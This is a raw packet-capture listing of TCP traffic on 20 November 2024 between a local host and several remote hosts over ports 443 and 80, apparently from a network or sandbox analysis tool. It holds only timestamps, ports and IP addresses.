Nov 20, 2024 21:04:10.884022951 CET	49733	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:10.884068966 CET	443	49733	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:10.884588957 CET	443	49733	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:10.893403053 CET	49733	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:10.893455982 CET	49733	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:10.893538952 CET	443	49733	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:11.800606966 CET	443	49733	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:11.800729990 CET	443	49733	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:11.800863028 CET	49733	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:11.801235914 CET	49733	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:11.801271915 CET	443	49733	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:12.280345917 CET	49734	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:12.280391932 CET	443	49734	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:12.280473948 CET	49734	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:12.280782938 CET	49734	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:12.280792952 CET	443	49734	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:13.498631954 CET	443	49734	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:13.498944044 CET	49734	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:13.500762939 CET	49734	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:13.500776052 CET	443	49734	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:13.501300097 CET	443	49734	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:13.503114939 CET	49734	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:13.503266096 CET	49734	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:13.503304005 CET	443	49734	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:13.503391027 CET	49734	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:13.503397942 CET	443	49734	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:14.350296021 CET	443	49734	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:14.350435972 CET	443	49734	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:14.350523949 CET	49734	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:14.350744963 CET	49734	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:14.350774050 CET	443	49734	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:14.879200935 CET	49735	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:14.879287958 CET	443	49735	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:14.879420042 CET	49735	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:14.879968882 CET	49735	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:14.879987955 CET	443	49735	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:16.181236982 CET	443	49735	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:16.181340933 CET	49735	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:16.183187962 CET	49735	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:16.183204889 CET	443	49735	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:16.183545113 CET	443	49735	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:16.185836077 CET	49735	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:16.186242104 CET	49735	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:16.186249971 CET	443	49735	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:16.488502979 CET	49736	443	192.168.2.4	172.202.163.200
Nov 20, 2024 21:04:16.488634109 CET	443	49736	172.202.163.200	192.168.2.4
Nov 20, 2024 21:04:16.488751888 CET	49736	443	192.168.2.4	172.202.163.200
Nov 20, 2024 21:04:16.498707056 CET	49736	443	192.168.2.4	172.202.163.200
Nov 20, 2024 21:04:16.498745918 CET	443	49736	172.202.163.200	192.168.2.4
Nov 20, 2024 21:04:16.971915007 CET	443	49735	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:16.972145081 CET	443	49735	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:16.972254038 CET	49735	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:16.972379923 CET	49735	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:16.972443104 CET	443	49735	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:17.610594988 CET	49737	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:17.610641003 CET	443	49737	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:17.610738039 CET	49737	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:17.611232996 CET	49737	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:17.611244917 CET	443	49737	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:18.240240097 CET	443	49736	172.202.163.200	192.168.2.4
Nov 20, 2024 21:04:18.240345001 CET	49736	443	192.168.2.4	172.202.163.200
Nov 20, 2024 21:04:18.244669914 CET	49736	443	192.168.2.4	172.202.163.200
Nov 20, 2024 21:04:18.244679928 CET	443	49736	172.202.163.200	192.168.2.4
Nov 20, 2024 21:04:18.245109081 CET	443	49736	172.202.163.200	192.168.2.4
Nov 20, 2024 21:04:18.284761906 CET	49736	443	192.168.2.4	172.202.163.200
Nov 20, 2024 21:04:18.903384924 CET	443	49737	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:18.903548956 CET	49737	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:18.905225039 CET	49737	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:18.905255079 CET	443	49737	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:18.905658960 CET	443	49737	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:18.915610075 CET	49737	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:18.916744947 CET	49737	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:18.916819096 CET	443	49737	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:18.917073011 CET	49737	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:18.917123079 CET	443	49737	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:18.917262077 CET	49737	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:18.917327881 CET	443	49737	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:18.917496920 CET	49737	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:18.917531967 CET	443	49737	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:18.917715073 CET	49737	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:18.917752981 CET	443	49737	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:18.917941093 CET	49737	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:18.917978048 CET	443	49737	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:18.917988062 CET	49737	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:18.918176889 CET	49737	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:18.918222904 CET	49737	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:18.963361025 CET	443	49737	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:18.963619947 CET	49737	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:18.963690996 CET	49737	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:18.963713884 CET	49737	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:19.011342049 CET	443	49737	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:19.011688948 CET	49737	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:19.011770964 CET	49737	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:19.011809111 CET	49737	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:19.059345007 CET	443	49737	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:19.059428930 CET	49737	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:19.107337952 CET	443	49737	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:19.279284954 CET	443	49737	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:19.821672916 CET	49736	443	192.168.2.4	172.202.163.200
Nov 20, 2024 21:04:19.865314960 CET	49723	80	192.168.2.4	199.232.214.172
Nov 20, 2024 21:04:19.867331028 CET	443	49736	172.202.163.200	192.168.2.4
Nov 20, 2024 21:04:19.985430956 CET	80	49723	199.232.214.172	192.168.2.4
Nov 20, 2024 21:04:19.985596895 CET	49723	80	192.168.2.4	199.232.214.172
Nov 20, 2024 21:04:20.393651962 CET	443	49736	172.202.163.200	192.168.2.4
Nov 20, 2024 21:04:20.393734932 CET	443	49736	172.202.163.200	192.168.2.4
Nov 20, 2024 21:04:20.393754959 CET	443	49736	172.202.163.200	192.168.2.4
Nov 20, 2024 21:04:20.393795967 CET	443	49736	172.202.163.200	192.168.2.4
Nov 20, 2024 21:04:20.393798113 CET	49736	443	192.168.2.4	172.202.163.200
Nov 20, 2024 21:04:20.393826008 CET	443	49736	172.202.163.200	192.168.2.4
Nov 20, 2024 21:04:20.393826962 CET	49736	443	192.168.2.4	172.202.163.200
Nov 20, 2024 21:04:20.393843889 CET	443	49736	172.202.163.200	192.168.2.4
Nov 20, 2024 21:04:20.393850088 CET	49736	443	192.168.2.4	172.202.163.200
Nov 20, 2024 21:04:20.393870115 CET	49736	443	192.168.2.4	172.202.163.200
Nov 20, 2024 21:04:20.393899918 CET	49736	443	192.168.2.4	172.202.163.200
Nov 20, 2024 21:04:20.416676044 CET	443	49736	172.202.163.200	192.168.2.4
Nov 20, 2024 21:04:20.416749954 CET	49736	443	192.168.2.4	172.202.163.200
Nov 20, 2024 21:04:20.416764021 CET	443	49736	172.202.163.200	192.168.2.4
Nov 20, 2024 21:04:20.416933060 CET	443	49736	172.202.163.200	192.168.2.4
Nov 20, 2024 21:04:20.416990042 CET	49736	443	192.168.2.4	172.202.163.200
Nov 20, 2024 21:04:21.733233929 CET	49736	443	192.168.2.4	172.202.163.200
Nov 20, 2024 21:04:21.733273983 CET	443	49736	172.202.163.200	192.168.2.4
Nov 20, 2024 21:04:21.733289003 CET	49736	443	192.168.2.4	172.202.163.200
Nov 20, 2024 21:04:21.733295918 CET	443	49736	172.202.163.200	192.168.2.4
Nov 20, 2024 21:04:24.111457109 CET	443	49737	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:24.111536026 CET	443	49737	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:24.111717939 CET	49737	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:24.112051010 CET	49737	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:24.112096071 CET	443	49737	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:24.121463060 CET	49742	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:24.121556044 CET	443	49742	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:24.121670008 CET	49742	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:24.122035980 CET	49742	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:24.122065067 CET	443	49742	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:25.387027979 CET	443	49742	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:25.387126923 CET	49742	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:25.390974045 CET	49742	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:25.391021967 CET	443	49742	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:25.391263962 CET	443	49742	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:25.400744915 CET	49742	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:25.400780916 CET	49742	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:25.401027918 CET	443	49742	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:26.139616966 CET	443	49742	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:26.140672922 CET	443	49742	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:26.140757084 CET	49742	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:26.140841961 CET	49742	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:26.140893936 CET	443	49742	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:26.140923977 CET	49742	443	192.168.2.4	104.21.66.38
Nov 20, 2024 21:04:26.140940905 CET	443	49742	104.21.66.38	192.168.2.4
Nov 20, 2024 21:04:26.142246962 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:26.263998985 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:26.264106989 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:26.264413118 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:26.384133101 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:27.674637079 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:27.674664974 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:27.674678087 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:27.674690008 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:27.674705029 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:27.674716949 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:27.674731970 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:27.674742937 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:27.674765110 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:27.674786091 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:27.674813032 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:27.674900055 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:27.794795990 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:27.794830084 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:27.794893980 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:27.875555992 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:27.875632048 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:27.875698090 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:27.878027916 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:27.878132105 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:27.878189087 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:27.886840105 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:27.886914015 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:27.887041092 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:27.894820929 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:27.894875050 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:27.894932032 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:27.903354883 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:27.903410912 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:27.903477907 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:27.911614895 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:27.911695957 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:27.911756992 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:27.920089006 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:27.920242071 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:27.920305967 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:27.928550005 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:27.928591013 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:27.928658962 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:27.936805964 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:27.936909914 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:27.936974049 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:27.945178032 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:27.945274115 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:27.945334911 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:27.953620911 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:27.953699112 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:27.953763962 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:27.995898962 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.050348043 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.076946020 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.076967955 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.077037096 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.078452110 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.078525066 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.078589916 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.083503962 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.084491968 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.084528923 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.084547997 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.089590073 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.089664936 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.089684963 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.094600916 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.094661951 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.094675064 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.099605083 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.099664927 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.099750996 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.104691982 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.104728937 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.104758978 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.109688997 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.109785080 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.109788895 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.114754915 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.114830017 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.114830971 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.119820118 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.119885921 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.119936943 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.124856949 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.124910116 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.124924898 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.129858017 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.129919052 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.129987955 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.134938002 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.134999990 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.135118008 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.140083075 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.140142918 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.140239954 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.145097971 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.145144939 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.145152092 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.150058031 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.150122881 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.150202036 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.155180931 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.155215979 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.155241013 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.160195112 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.160253048 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.160295963 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.165255070 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.165267944 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.165323973 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.170216084 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.170279026 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.278162003 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.278230906 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.278297901 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.280270100 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.280323982 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.280385017 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.284250021 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.284324884 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.284382105 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.288314104 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.288342953 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.288405895 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.290441036 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.290493965 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.290555954 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.294305086 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.294404984 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.294469118 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.298228979 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.298391104 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.298455954 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.301928997 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.302108049 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.302166939 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.305632114 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.305697918 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.305758953 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.309325933 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.309379101 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.309441090 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.313004017 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.313150883 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.313214064 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.316740036 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.316848040 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.316909075 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.320427895 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.320518017 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.320575953 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.324089050 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.324157000 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.324217081 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.327794075 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.327914000 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.327972889 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.331526041 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.331640959 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.331702948 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.335220098 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.335408926 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.335470915 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.338907003 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.339046955 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.339106083 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.342655897 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.342845917 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.342900991 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.346354008 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.346496105 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.346563101 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.350070953 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.350208998 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.350276947 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.353780031 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.353935003 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.353996992 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.357465982 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.357702971 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.357846975 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.361108065 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.361213923 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.361279964 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.364828110 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.364944935 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.365000010 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.368498087 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.368562937 CET	80	49744	185.215.113.16	192.168.2.4
